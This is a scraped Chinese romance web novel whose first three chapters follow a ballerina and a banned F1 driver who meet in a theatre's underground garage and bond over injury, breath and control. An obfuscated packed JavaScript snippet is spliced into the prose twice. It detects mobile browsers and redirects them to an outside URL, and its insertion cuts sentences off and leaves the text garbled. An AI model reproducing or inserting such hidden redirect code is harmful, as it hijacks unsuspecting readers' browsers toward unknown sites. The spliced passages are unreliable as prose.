《烬火向晚-新》 1. 第一章 第一章车库里的黑天鹅 南城的秋夜,桂花香是甜的,沥青味是涩的。 苏晚晚踩着十厘米的Jimmy Choo水晶高跟鞋,鞋跟敲击地下车库的水泥地面,发出类似芭蕾足尖鞋点地的脆响。她刚结束国家大剧院《天鹅湖》第一百场巡演,身上还裹着经纪人强行披上的羊绒披肩,妆发未卸,眼尾贴着细碎的水钻,在惨白灯光下像未干的泪。 庆功宴的喧闹被三道防火门隔绝在身后。 她需要三分钟独处——这是从十六岁登台以来养成的怪癖,每次重大演出后,必须找到一个绝对安静的空间,把舞台上那个“奥杰塔”的灵魂剥离出来,塞回名为“苏晚晚”的躯壳里。 于是她推开了标注“设备层”的锈蚀铁门。 然后,撞进了一片弥漫着汽油、润滑油与金属灼烧气息的异度空间。 --- 扳手与螺栓的精准咬合声,液压千斤顶的叹息,还有某种低沉的、近乎野兽呼吸的引擎怠速声。这些声音在空旷的车库里碰撞回响,织成一张粗粝的网。 四盏工业射灯从不同角度聚焦在一台宝蓝色布加迪Chiron的车尾。引擎舱盖敞开着,像敞开的胸腔。一个男人俯身在心脏位置,黑色连体制服勾勒出宽肩窄腰的凌厉线条,袖口卷至肘部,露出的小臂肌肉随着工具的动作绷紧又松弛。 他的手指很长,骨节分明,此刻正握着一支内窥镜探头,缓慢探入错综复杂的管线之间。动作熟练得像外科医生在寻找病灶。 苏晚晚停住脚步。 高跟鞋的声音消失了。 男人没有回头,只是左手随意往旁边一伸。工作台上,一把镀铬扭矩扳手精准滑入他掌心。 她呼吸微微一滞。 ——那双手。她见过。 准确说,是在她手机加密相册的第三十七张照片里。照片拍摄于三年前的蒙特卡洛大奖赛维修区,那双手正摘下护目镜,指尖沾着汗与油污的混合物,手背上有一道新鲜的擦伤。 而此刻,那道擦伤已变成淡银色疤痕,横亘在凸起的静脉之上。 江砚辞。 那个被F1除名、被媒体唾弃、消失了整整三年的天才车手。 竟躲在国家大剧院地下三层的废弃车库里,修一台价值三千万的超跑。 --- 时间凝固了大约五秒。 苏晚晚先动了。她没有后退,反而向前走了两步,羊绒披肩从肩头滑落,堆在脚边像一团柔软的云。 “需要帮忙吗?”她的声音在空旷中格外清亮,带着未卸的舞台颤音,“我猜……是涡轮增压管路的密封圈老化?听声音,右侧压力不稳定。” 江砚辞的动作终于停了。 他缓缓直起身,转身。金丝眼镜后的眼睛抬起,撞上她的视线。 那是一双被太多镜头追逐过的眼睛。曾经在领奖台上洒过香槟时的少年意气,已被磨成某种冰冷的、淬过火的硬度。但此刻,镜片后的瞳孔微微收缩了一下,像夜间赛道上突然被远光灯扫过的猫。 他认出了她。 当然会认出。过去三个月,她的脸频繁出现在奢侈品广告牌、艺术杂志封面,以及苏氏航运集团的股东会议新闻稿里。 “苏小姐。”他的声音比记忆里更沙哑,像很久没说话,“这里是私人区域。” “门上没写。”她歪头,刻意让耳垂上的珍珠耳环晃了晃,“而且,我迷路了。” “出口在你身后十米左转。” “可我想往前走。”她已经走到工作台边,指尖抚过一排精密工具——它们被擦拭得锃亮,按尺寸和用途严格排列,像手术器械。“这些是Snap-on的定制款?北美赛车维修区标配。不过这支扭力扳手……”她拿起其中一把,“改过校准值,为了适应欧洲赛车的公制螺栓。” 江砚辞摘下眼镜,用衣角慢慢擦拭镜片。 这是个下意识的防御动作。她在无数采访视频里见过——每当记者问到尖锐问题,他就会做这个动作,争取三秒钟思考时间。 “芭蕾舞者都这么懂修车?” “我只懂我感兴趣的东西。”苏晚晚放下扳手,目光落在他左手掌心——那里有两道十字形的旧疤,像某种封印。“比如,为什么一个被终身禁止接触F1的人,还在用当年雷诺车队研发的故障诊断仪?” 工作台上,那台银灰色仪器屏幕正闪烁着一串代码。 江砚辞终于有了表情——极淡的、几乎看不见的嘴角上扬。 “因为它还没坏。” “就像某些人?”她接得太快,快到自己都愣了一下。 空气突然变得黏稠。 远处传来消防门被推开的闷响,隐约有人喊:“晚晚姐?苏小姐?” 是经纪人的声音。 苏晚晚没动。江砚辞也没动。两人隔着那台咆哮又咳嗽的布加迪引擎对视,像两个误入彼此领地的猎食者。 “你该回去了。”他说。 “这车修不好。”她却突然换了话题,手指向引擎舱,“不是密封圈的问题。听——涡轮叶片有轻微变形,高速旋转时会产生谐波震动,连带整个进气系统压力失调。你换再多密封圈也没用。” 江砚辞沉默了三秒。 然后,他做了一件让她心脏骤停的事——他笑了。 不是礼貌的、社交性的笑,而是真正的、从眼底漾开的笑意,像冰层突然裂开一道缝,露出底下滚烫的熔岩。 “你说得对。”他重新戴上眼镜,“所以我订了新的涡轮总成,下周三到货。” “从瑞士直接空运?那要等五天。”苏晚晚转身,走向车库角落堆放的零件架,熟门熟路地翻出一个银色金属箱,“用这个,德国Drexler的竞技级涡轮,叶轮直径小2毫米,但材料是碳化硅基复合材料,能承受1900度——刚好匹配这台车改过的ECU数据。” 她提着箱子走回来,放在工作台上,打开。 箱内,崭新的涡轮组件泛着冷灰色的金属光泽。 江砚辞看着那个箱子,又看看她。 “你为什么会……” “我有个朋友。”苏晚晚打断他,“开改装车店的,上个月多订了一个,扔在我这儿。” “朋友。”他重复这个词,语气听不出情绪。 “不然呢?”她抬起下巴,“难道我要说,我调查过你过去三年修过的每一台车,知道你的零件供应商在斯图加特,还知道你惯用Drexler的竞技件——因为当年你的7号赛车,用的就是他们家第一代实验性涡轮。” 车库彻底安静了。 只有远处隐约的、越来越近的呼唤声:“苏小姐!庆功宴要开始了!” 江砚辞伸手,关掉了布加迪的引擎。 寂静像潮水般涌来。 “你想要什么,苏晚晚?”他第一次叫她的全名,三个字在舌尖滚过,有种奇异的质感。 她深吸一口气,左肩胛骨传来熟悉的刺痛——那是十四岁留下的旧伤,每次情绪波动就会发作。 “我想要你教我。” “教什么?” “怎么在弯道失控前救车。”她的眼睛在射灯下亮得惊人,“不是用这堆钢铁,是用这个。” 她抬手,指了指自己的左肩。 “我的身体,最近总在某个旋转动作时失控。就像你的涡轮——看起来完美,但核心有不可见的形变。” 江砚辞的目光落在她的肩膀上。那是个很专业的审视角度,像工程师评估材料的疲劳极限。 “舞蹈和赛车是两回事。” “不。”苏晚晚摇头,“都是关于控制。控制肌肉,控制重心,控制在极限状态下的恐惧。你曾是全世界最懂控制的人,直到……” 她没说下去。 但两人都知道那个空白里填着什么——直到三年前那场污名化的风暴,直到他被迫离开所有需要控制的赛场。 江砚辞转身,从工作台抽屉里取出一个黑色丝绒盒子,推到她面前。 “打开。” 苏晚晚打开盒子。 里面不是珠宝,而是一枚老旧的、表面有烧灼痕迹的刹车片。上面刻着一行小字:SPA-FRANCORCHAMPS 2021.8.29。 比利时斯帕赛道。他职业生涯最后一场比赛。 “这是我失控的证据。”江砚辞的声音平静得像在说别人的事,“第44圈,拉苏斯弯,刹车点比平时晚了三米。刹车片过热,轮胎锁死,车转了720度撞上护墙。” 他拿起那枚刹车片,金属表面映出两人模糊的倒影。 “人们说我吃了药,说我故意撞车,说我贿赂裁判。但真相很简单——那天我父亲去世了,凌晨五点接到的电话。而我选择继续比赛,因为那是他唯一会看的一场。” 苏晚晚的手指微微颤抖。 “你从没对外界解释过。” “解释有用吗?”他放下刹车片,“医学报告可以伪造,通讯记录可以篡改,连你最爱吃的草莓——”他顿了顿,突然换了个话题,“草莓大福里的红豆沙,可以用土豆泥和色素代替,尝起来几乎一样。” 她听懂了他的隐喻。 “所以你就认了?让全世界往你身上泼脏水?” “脏水泼多了,会结成壳。”江砚辞重新戴上手套,“那层壳有时候比盔甲好用。” 消防门被推开的声音更近了。 苏晚晚突然伸手,从他工具箱里拿走一把T型扳手。 “这个借我。” “做什么?” “下次旋转失控时,”她把扳手塞进披肩里,动作自然得像在藏一支口红,“我就握着它,想象自己在拧紧一颗松动的螺栓。” 江砚辞看着她,看了很久。 然后他说:“下周三,涡轮到货,晚上八点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004268|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我会来。”她毫不犹豫。 “带上你的问题。”他转身重新面向引擎舱,“关于控制,关于失控,关于……怎么在转圈时不让旧伤发作。” 苏晚晚的呼吸停了半拍。 ——他看出来了。只凭一个细微的肩部动作,就看出她有旧伤。 “江砚辞。”她最后叫他的名字。 “嗯?” “你那枚刹车片,”她指向盒子,“烧灼的痕迹形状,像一只天鹅的侧影。” 他背对着她,动作僵了一瞬。 “是吗。” “是的。”苏晚晚弯腰捡起羊绒披肩,重新裹上肩膀,“而天鹅在死前会唱歌,你知道为什么吗?” “为什么?” “因为它记得自己会飞。” 说完,她踩着那双水晶高跟鞋转身离去,脚步声在车库里回荡,像另一种形式的舞□□白。 江砚辞没有回头。 但他伸出手,轻轻碰了碰那枚刹车片上的烧灼痕迹。边缘凹凸的触感,确实像鸟类展开的羽翼。 --- 消防门外,经纪人急得满头大汗:“晚晚姐!你跑哪儿去了?导演和赞助商都在等你切蛋糕!” “抱歉。”苏晚晚微笑,手指在披肩下握紧那把冰凉的T型扳手,“遇到了一个老朋友。” “老朋友?这下面全是管道和设备……” “是啊。”她抬头,看向走廊天花板纵横交错的管线,“一个很会修东西的老朋友。” 电梯上行时,她掏出手机,点开加密相册。 第三十七张照片,那双手的主人正摘下头盔,湿漉的黑发贴在额头,眼睛看向镜头外的某处——现在她知道他在看什么了。照片边缘,观众席第一排,坐着一个穿旗袍的女人,膝上放着一盒草莓大福。 那是江砚辞的母亲。死于他最后一场比赛当天。 苏晚晚退出相册,打开通讯录,找到一个标注“瑞士DHL加急”的号码,发送短信: “涡轮已送达。他收下了。” 五秒后,回复到来:“收到。第二阶段可以启动。另外,你父亲刚才问起,为什么你要从苏氏航运的账上支走五百万欧元。” 她打字:“买艺术品。” “什么艺术品?” “一副会唱歌的刹车片。” 按下发送键时,电梯门开了。庆功宴的香槟气泡和闪光灯扑面而来。 苏晚晚扬起标准的女主角笑容,左肩胛骨的刺痛却像一枚埋了十年的子弹,终于找到了靶心。 她知道,从今晚起,有些旋转再也停不下来了。 --- 地下车库里,江砚辞打开工作台最底层的抽屉。 里面不是工具,而是一沓泛黄的报纸。头条全是三年前的腥风血雨:“江砚辞服药实锤”“天才车手的堕落”“F1史上最大丑闻”。 他把报纸推到一边,取出压在底下的一本笔记本。 翻开某一页,上面是手写的方程式和数据。但在页脚空白处,有人用铅笔淡淡画了一只天鹅——芭蕾舞姿的天鹅,单足站立,羽翼低垂。 笔迹不是他的。 他合上笔记本,拿起手机。屏幕上有两条未读信息。 第一条来自陈曜,他在达喀尔拉力赛的搭档:“意大利黑匣子的数据恢复了三分之一,有惊喜也有惊吓。什么时候给你?” 第二条来自陌生号码:“江先生,您母亲生前委托我们保管的物品,现已到达保留期限。请于下周前来领取。” 他回了陈曜:“先存着。还不是时候。” 然后删掉了第二条信息。 最后,他看向苏晚晚留下的那个银色零件箱。箱盖内侧贴着一张便签,刚才他没注意。 便签上写着一行娟秀的字: “涡轮的改装配件在夹层里。另外,草莓大福的红豆沙,我从来只用北海道红豆,不加土豆泥。——晚” 江砚辞盯着那行字,良久,从工作台上拿起一盒未开封的草莓大福。 这是他母亲生前最爱买的牌子。 他拆开包装,咬了一口。 甜得发苦。 --- 剧院顶楼的庆功宴上,苏晚晚正在切七层高的蛋糕。闪光灯此起彼伏,香槟塔折射着水晶吊灯的光。 她笑着,说着感谢词,眼神却飘向窗外。 从这个高度,能看见城市边缘的废弃赛车场。三年前,江砚辞在那里赢下职业生涯第一个冠军。 而现在,那里长满了荒草。 但她知道——有些东西从未真正荒废。 就像她的左肩,他的右手,那枚烧成天鹅形状的刹车片,以及今晚在机油味里悄然滋长的、某种类似“可能”的东西。 蛋糕刀切到底层时,她感到披肩口袋里,那把T型扳手硌着肋骨。 很疼。 但疼得恰到好处。 2. 第二章 第二章涡轮迟到的星期三 涡轮没有在下周三到货。 周四也没有。 苏晚晚站在车库门前时,是周五晚上七点五十八分。她穿着烟灰色羊绒连衣裙配平底鞋——明智的选择,毕竟上次那双Jimmy Choo差点让她在油污地板上摔出个专业失误。 门虚掩着。 她推门进去时,首先闻到的不是机油味,而是消毒水混杂着铁锈的气息。车库中央,那台宝蓝色布加迪依然敞着胸膛,但引擎舱里空空如也,像个等待移植器官的病人。 江砚辞不在工作台旁。 她在角落的洗手池边找到他。他正俯身冲洗右手,水流冲过手背时,淡银色的疤痕在灯光下泛起珍珠母贝般的光泽。水池边缘溅着几滴鲜红的血,正顺着不锈钢表面缓缓下滑。 “需要创可贴吗?”苏晚晚从手包里掏出一个印着小天鹅图案的卡通创可贴。 江砚辞关掉水龙头,转身时甩了甩手上的水珠。有几滴溅到她裙摆上,晕开深色的小圆点。 “不必。”他抽出纸巾擦拭手指,“涡轮被海关扣了。” “理由?” “出口许可证上的一个印章模糊。”他走到工作台前,拿起一份文件扔给她,“瑞士那边说需要重新申请,至少两周。” 苏晚晚接过文件。纸张是欧洲常见的淡黄色环保纸,海关章确实有些模糊,但更让她注意的是申报人签名栏——不是江砚辞的名字,也不是任何已知的赛车零件供应商。 而是一个德语名字:Klaus J?ger。 她认识这个名字。三年前德国某汽车杂志的专访,关于“F1技术如何影响民用高性能车”,配图正是这位J?ger先生与江砚辞在雷诺车队维修区的合影。 “J?ger先生还在做零件生意?”她状似无意地问。 “退休了。”江砚辞从冰箱里拿出两罐苏打水,递给她一罐,“这是他最后一批库存。” “真巧。”苏晚晚拉开拉环,气泡涌出的声音在寂静车库里格外清晰,“正好是我需要的那种型号,正好是你需要的规格,正好在你要用的时候被海关扣下。” 江砚辞喝水的动作停了一瞬。 “你想说什么?” “我想说,”她走到布加迪旁边,手指轻点空荡荡的引擎舱,“如果你今晚急着用车,我的车库里有备用的。” “你的车库。” “嗯。城南‘天鹅港湾’小区,地下二层B17车位。”她从包里掏出一把智能钥匙,放在工作台上,“密码是你最后一次夺冠的日期,六位数。” 钥匙在冷白光下泛着钛合金的哑光。 江砚辞没有碰它。 “苏晚晚。”他叫她的名字,这次带着某种审视的意味,“你车库里的备用涡轮,刚好匹配这台车的改装ECU数据——这种概率有多大?” “比我在三十二圈挥鞭转时不摔倒的概率大一点。”她微笑,“但也没大多少。” 远处传来雷声。南城的秋雨总是来得猝不及防。 车库顶部的通风管道开始传来淅淅沥沥的声响,像某个巨型乐器正在调音。 “下雨了。”苏晚晚走到卷帘门边,看着雨水在地面溅起细小的水花,“我打车来的,没带伞。” 这是句谎言。她的宾利就停在剧院VIP车位,司机还在等她。 但江砚辞看了眼窗外的雨势,说:“我送你。” “用那台车吗?”她指向角落——那里盖着一块厚重的防尘布,布下轮廓低矮而凌厉,像一头蛰伏的兽。 江砚辞没回答,只是走过去,抓住防尘布一角,用力掀开。 灰尘在光线中起舞。 防尘布下是一台哑光黑色的跑车,没有品牌标识,车身线条像刀锋切割过空气后留下的残影。前挡风玻璃上贴着一张早已过期的临时牌照,日期停在三年前。 “这是……”苏晚晚的呼吸轻了。 “7号。”江砚辞拉开蝴蝶门,座椅是褪色的赛车桶椅,方向盘上没有气囊,只有密密麻麻的按钮和拨片,“最后一次测试的原型车。没来得及上赛道,就出了那些事。” 他坐进驾驶座,引擎启动的瞬间,整个车库的空气都在震动。 不是布加迪那种优雅的咆哮,而是更原始、更粗暴的怒吼,像困兽终于扯断锁链。 苏晚晚拉开副驾车门。车内没有任何豪华装饰,裸露的碳纤维,铆接的防滚架,仪表盘上贴着一张便签纸,字迹已经模糊,但能辨认出是一串西班牙语的赛道弯道名称。 “安全带。”江砚辞提醒。 她拉过四点式安全带,卡扣咬合的清脆声响让她想起芭蕾舞鞋系带的瞬间。 车子缓缓驶出车库,冲进雨幕。 雨刮器以最低频率摆动,勉强在挡风玻璃上划出扇形视野。街道被雨水泡成流动的镜面,倒映着霓虹灯扭曲的光斑。 车内很安静,只有引擎低沉的呼吸和雨点敲打碳纤维车顶的密集鼓点。 “左转。”苏晚晚说。 “导航显示直行更近。” “那条路在修水管。”她侧头看他,“而且,我想让你看个东西。” 江砚辞打了左转向灯。 车子拐进一条老巷,两侧是民国时期的老洋房,梧桐树在雨中摇曳,落叶粘在潮湿的柏油路上,像贴满金色补丁的地毯。 巷子尽头豁然开朗——一片被围墙圈起来的空地,中央立着一座废弃的水塔,塔身上爬满了枯萎的爬山虎。 “这里。”苏晚晚说,“停车。” 江砚辞踩下刹车。轮胎在湿滑地面轻微打滑,电子稳定系统介入的瞬间,底盘传来细微的震动。 “这是什么地方?” “我小时候学跳舞的地方。”她解开安全带,“水塔下面,以前是个纺织厂车间,九十年代改成了舞蹈教室。” 雨势稍缓,变成细密的雨丝。 苏晚晚推开车门,踩着积水走到水塔前。生锈的铁门虚掩着,她轻轻一推,铰链发出刺耳的呻吟。 门内,是一个挑高近十米的空旷空间。木质地板已经腐朽,露出底下灰色的水泥,但墙面上还残留着舞蹈把杆的安装痕迹,以及一面布满裂纹的落地镜。 镜子碎片里,映出无数个破碎的她和他的倒影。 “我七岁到这里学芭蕾。”苏晚晚的声音在空旷中回荡,“教我的老师是个退役的舞者,左腿有旧伤,每次示范动作时,都能听见她膝盖的响声。” 江砚辞站在门口,没有完全走进来。雨水从他的肩头滑落,在积灰的地板上砸出深色的圆点。 “为什么带我来这里?” “因为上周你说,舞蹈和赛车是两回事。”她转身面对他,身后的镜子里,无数个她也在转身,“但我想告诉你——我老师教我的第一课不是技巧,是呼吸。” 她深深吸气,胸腔扩张,然后缓慢吐出。 “她说,跳舞不是在音乐里做动作,是在每一次呼吸的间隙里,找到身体的重心转移。吸气的瞬间,重心上提;呼气的瞬间,重心下沉。就像……” “就像入弯前刹车,出弯时给油。”江砚辞接了下去。 空气突然安静。 雨声从门外传来,像遥远的掌声。 “对。”苏晚晚笑了,眼睛在昏暗光线里亮得惊人,“所以上周我问你怎么控制失控,不是因为我想学赛车,而是因为我的呼吸乱了。” 她走向墙边,手指抚过那些把杆留下的凹痕。 “三年前,蒙特卡洛大奖赛的那个周末,我在这里排练。”她的声音低了些,“从早到晚,跳了十七遍《天鹅湖》第二幕。傍晚时,老师打开那台老式收音机——” 她停顿,转头看他。 “——我听见了比赛直播。解说员在喊你的名字,说7号车在最后一个弯道超车成功,说你是第一个在蒙特卡洛夺冠的亚裔车手。” 江砚辞的手握成了拳。 “然后呢?” “然后我摔倒了。”苏晚晚抬起左臂,手指轻触肩胛骨,“就是这个动作,一个简单的单足旋转。但我听到你赢了的瞬间,呼吸突然断了。重心偏移,摔在地上,肩膀撞到把杆底座。” 她拉起衣袖。 左肩后方,一道三厘米长的淡粉色疤痕,形状像飞鸟折翼的瞬间。 “后来我看到新闻,说你被指控服药,被禁赛,消失了。”她的手指还停在疤痕上,“而我每次跳舞到这里,呼吸都会乱。医生说是创伤后应激反应,心理治疗师说我需要‘与那个触发事件和解’。” 她放下衣袖,走向他。 两人之间隔着三米距离,地上积水的反光像一条银色的河。 “所以我找到了你。”苏晚晚说,“不是因为同情,也不是因为好奇。是因为我的身体记得那天——它记得我为你赢而欢呼的瞬间,也记得后来为你摔得粉碎的瞬间。而如果我不解决这个,我就永远跳不好黑天鹅的第三十二圈挥鞭转。” 江砚辞终于完全走进来。 他的靴子踩在地板上,腐朽的木板发出呻吟。 “那你现在想怎么做?” “我想把呼吸还给你。”她说,“你失去了赛场上的呼吸节奏,我失去了舞蹈中的呼吸节奏。也许……我们可以交换。” “交换什么?” “你教我赛车里的重心控制,我教舞蹈中的呼吸韵律。”苏晚晚从包里拿出一个U盘,放在旁边的破旧钢琴上,“这里面是我过去三年所有的训练录像,每次呼吸失控的节点都做了标记。” 她又拿出另一个U盘。 “而这个,是我从公开渠道能找到的你所有比赛的车载录像。我分析了每个弯道你的刹车点、油门开度和方向盘角度——我猜,你失控的那个弯道,呼吸也乱了吧?” 江砚辞盯着那两个U盘。 雨水顺着他的发梢滴落,在地板上溅开。 “你花了三年时间研究我。” “我花了三年时间研究我自己。”她纠正,“而你,碰巧是我症状的解药之一。” 远处传来隐约的钟声,晚上九点了。 江砚辞走到钢琴边,拿起那两个U盘。塑料外壳还带着她的体温。 “如果我拒绝呢?” “那我会继续来你的车库。”苏晚晚走向门口,在跨出门槛前回头,“带着新的零件,新的数据,新的理由。直到你烦到不得不教我为止。” “你很固执。” “跳黑天鹅的人必须固执。”她走进雨里,没有撑伞,“因为白天鹅只需要纯洁,而黑天鹅……需要摧毁纯洁。” 江砚辞跟出来时,她已经走到车边。 雨水打湿了她的头发,烟灰色裙子贴在身上,勾勒出舞者特有的肌肉线条——不是纤细,是柔韧而有力的,像弓弦紧绷时的弧度。 回程的路上,两人都没说话。 直到车子重新停进剧院地下车库,苏晚晚解开安全带时,江砚辞突然开口: “下周一晚上八点。” 她转头看他。 “涡轮应该到了。”他目视前方,手指在方向盘上轻轻敲击——那是赛车手等待起跑灯时的习惯动作,“如果你还想学怎么在失控前救车。” “我会来。” “带上你的问题。”他顿了顿,“还有……创可贴。你那个天鹅图案的。” 苏晚晚从包里掏出整盒创可贴,放在中控台上。 “全给你。” 她推门下车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他不会问。”她看着镜中的自己,左肩的疤痕在灯光下若隐若现,“因为他已经开始接受,有些答案需要自己去找。” 就像她花了三年才明白,那年蒙特卡洛的欢呼与后来的崩塌,其实是一枚硬币的两面。 而现在,她要让这枚硬币重新立起来。 在呼吸与刹车的间隙。 在失控与控制的边缘。 江砚辞回到修车铺时,雨已经停了。 他打开电脑,插入苏晚晚给的U盘。 第一个文件是她的训练录像。画面里,她穿着黑色练功服,在空旷的舞蹈房里旋转。视频上有她自己标注的时间戳和呼吸标记:吸气、呼气、屏息、失控。 在第三十二圈挥鞭转开始前,她总会有一个微妙的停顿——肩膀微微下沉,下巴抬起,像起跑前的赛车手。 然后旋转,越来越快。 在第十八圈左右,她的呼吸节奏突然紊乱。肩膀的肌肉出现不自然的紧绷,接下来的旋转开始偏离轴线,最终在第二十三圈时失去平衡。 但每一次,她都会立刻站起来,重新开始。 江砚辞反复看了七遍。 然后他打开第二个U盘,点开自己最后一次比赛的录像。 斯帕赛道,第44圈,拉苏斯弯。 入弯前,他确实呼吸了——这是车手的本能,在承受巨大G力时通过呼吸调节胸腔压力。但那个弯道,他吸气的时长比平时短了0.3秒。 因为车载通讯器里,车队工程师正在说:“砚辞,医院刚才又来电话了……” 他屏住了呼吸。 然后刹车点晚了三米。 画面开始天旋地转,护墙扑面而来。 江砚辞关掉视频。 车库里一片死寂,只有冰箱压缩机低沉的嗡鸣。 他走到洗手池边,看着镜子里的自己。右手上的天鹅创可贴已经有些松动,边缘翘起,露出底下淡银色的疤痕。 他慢慢撕开创可贴。 疤痕暴露在空气中,像一道永远无法愈合的裂缝。 但创可贴背面那行小字,印在了他的皮肤上——油墨透过纤维,在疤痕上留下淡淡的痕迹: “我以折翼丈量天空的高度。” 江砚辞盯着那行字看了很久。 然后他走回工作台,打开最底层的抽屉,取出那本画着天鹅的笔记本。 翻到空白页,他拿起铅笔,开始画。 不是天鹅。 而是一条赛道弯道的剖面图,旁边标注着呼吸节点:入弯前吸气0.8秒,弯中屏息,出弯时呼气1.2秒。 在图纸角落,他写了一行小字: “也许黑天鹅不需要三十二圈完美的旋转。也许二十三圈破碎的旋转,才是真正的飞翔。” 窗外,夜雾渐浓。 桂花香被雨水洗过后,甜得更加凛冽。 而在城市另一端的公寓里,苏晚晚正对着舞蹈房的镜子,练习一个简单的单足站立。 她没有旋转,只是在呼吸。 吸气,重心上提。 呼气,重心下沉。 镜子里的女人肩膀放松,疤痕隐在衣料之下,像一枚已经不需要展示的勋章。 手机屏幕亮起,是物流更新的推送:“包裹已装车,预计凌晨配送。” 她看着那条消息,嘴角弯起一个极淡的弧度。 很好。 涡轮要到了。 而某些停滞了三年的东西,也该重新开始转动了。 3. 第三章 第三章呼吸与螺栓的间距 涡轮在周一傍晚六点四十三分送达。 江砚辞签收时,注意到送货员制服袖口有一小块不起眼的刺绣——一只线条简练的天鹅,和上周苏晚晚留下的创可贴图案相同。 他没问。只是将那个半人高的木箱拖进车库,用撬棍启封。 箱内,崭新的涡轮组件闪着冷灰色的光泽,旁边整齐码放着配套的螺栓、垫片和密封胶。但吸引他注意的是压在底部的一个牛皮纸信封,没有署名。 拆开,里面是三张照片。 第一张:徐朗在苏氏航运地下停车场,正将一个小型金属箱交给一个戴鸭舌帽的男人。日期是四天前。 第二张:那个金属箱在海关X光机下的成像,内部是电路板与线缆的轮廓。 第三张:一张泛黄的维修记录单复印件,抬头是“雷诺车队技术部”,下方有手写备注:“7号车燃油传感器异常波动,建议更换。徐朗,2019.3.14。” 江砚辞的手指停在第三张照片上。 那是他职业生涯最后一场比赛前两周。车队会议上,徐朗确实提过传感器问题,但当时数据波动极小,所有人都认为是偶发性干扰。 比赛当天,那枚传感器没有更换。 而在斯帕赛道的第44圈,燃油压力突然骤降——事故调查报告将此归结为“系统老化”,但此刻这张维修单像一根冰冷的针,扎进记忆的缝隙。 车库卷帘门被敲响时,他迅速将照片塞回信封,压进工作台抽屉底层。 门拉开,苏晚晚站在暮色里。 她没穿裙子,而是黑色修身运动裤配浅灰色卫衣,长发扎成低马尾,肩上挎着一个帆布工具包。看起来像个刚下课的建筑系学生。 “我准时吗?”她看了眼手表,“七点五十九分。” “提前一分钟。”江砚辞侧身让她进来,“工具包?” “你说要学救车。”她放下包,拉链拉开,里面不是扳手,而是一双磨损的芭蕾软底鞋、一卷弹力带,和一个小型呼吸训练器,“我从基础开始——先学怎么在G力下呼吸。” 江砚辞看着她拿出呼吸训练器。那是个透明塑料装置,带刻度管和吹嘴,通常用于哮喘患者或潜水员训练。 “你用这个练舞?” “练控制。”苏晚晚将吹嘴含住,深吸一口气,然后以极缓慢的速度呼出。刻度管里的小球匀速上升,稳稳停在最高点,保持了三秒才落下。 她摘下吹嘴,气息平稳:“舞蹈的跳跃落地、高速旋转,都会产生类似G力的内脏压迫。如果呼吸紊乱,核心就会散,动作会变形。” 江砚辞接过训练器,学她的样子试了一次。小球刚升到中途就剧烈晃动,然后坠回底部。 “赛车手的呼吸是爆发式的。”他放下器械,“入弯前快速吸气屏住,出弯瞬间呼气。不需要这种精细控制。” “所以你在拉苏斯弯屏息了多久?” 问题来得突然。 江砚辞的手指在工具台上蜷缩了一下。 “车载录音里,那个弯道前你有一次异常长的吸气声。”苏晚晚的声音很轻,像在陈述一个客观事实,“1.7秒,比平时长了0.8秒。然后你屏息了整整五秒——直到撞车。” 车库里的空气仿佛被抽薄了。 “你从哪里弄到的车内录音?”江砚辞的声音冷下来,“那些资料应该全部封存了。” “体育仲裁庭的公开听证会录像,第三场第47分钟。”苏晚晚从手机里调出一段视频,进度条拖到某个位置,点开公放。 沙沙的电流声后,响起他自己的呼吸声——粗重、急促,然后是工程师模糊的语音:“砚辞,医院……” 接着是漫长的、令人窒息的沉默。 五秒后,刺耳的轮胎尖啸和金属撕裂声。 苏晚晚按了暂停。 “那五秒里,你在想什么?”她问。 江砚辞转过身,开始拆涡轮的包装。塑料薄膜被撕开的脆响在寂静中格外刺耳。 “想我该早点去医院。”他终于说,“而不是在赛道上浪费时间。” “那不是浪费时间。”苏晚晚走到他身边,拿起一枚M8螺栓,在指间转动,“那是你父亲最后看见的你——在赢。或者试图赢。” 螺栓掉进工具盘,叮当一声。 “你调查得很彻底。”江砚辞没有看她,手指抚过涡轮叶片冰冷的边缘,“连我父亲的事都知道。” “因为我也经历过。”她顿了顿,“我母亲去世时,我在莫斯科比赛。经纪人瞒了我三天,等我拿到冠军才知道。后来每次跳她最喜欢的《胡桃夹子》,第二幕糖梅仙子独舞那里,我都会漏拍。” 她抬起左臂,做了个简单的伸展动作。 “身体会记住每一个与伤痛有关的瞬间。你的呼吸,我的肩胛骨,都一样。” 江砚辞停下手里的动作。 暮色完全沉下来了,车库顶部的LED灯自动亮起,冷白光笼罩着两人。 “你想怎么学?”他问。 “从最基础的开始。”苏晚晚指向那台哑光黑的7号原型车,“教我认识这辆车的‘关节’和‘肌肉’。就像认识我自己的身体。” 接下来的两小时,车库里没有浪漫,只有技术术语。 江砚辞打开车身覆盖件,指向双叉臂悬挂:“这是踝关节,负责吸收震动和保持抓地力。”他敲了敲碳纤维单体壳,“这是盆骨,所有力量的传导核心。”最后是方向盘后的换挡拨片:“这是手指末梢神经,需要最精细的操控。” 苏晚晚蹲在车旁,用手机备忘录记笔记,偶尔提问:“刹车力度传递到脚踝需要几毫秒?”“转向不足时,是先松油还是先反打方向?” 她的问题很专业,专业到江砚辞不得不停下来思考。 “你提前做了功课。”他在讲解差速器工作原理时说。 “看了你三年前在《汽车工程》杂志上的专栏。”苏晚晚翻出手机里存下的PDF,“关于‘电子辅助系统对车手感官反馈的侵蚀’。你写道:‘当方向盘变成游戏手柄,赛车就不再是身体延伸。’” “那篇文章……没什么人看。” 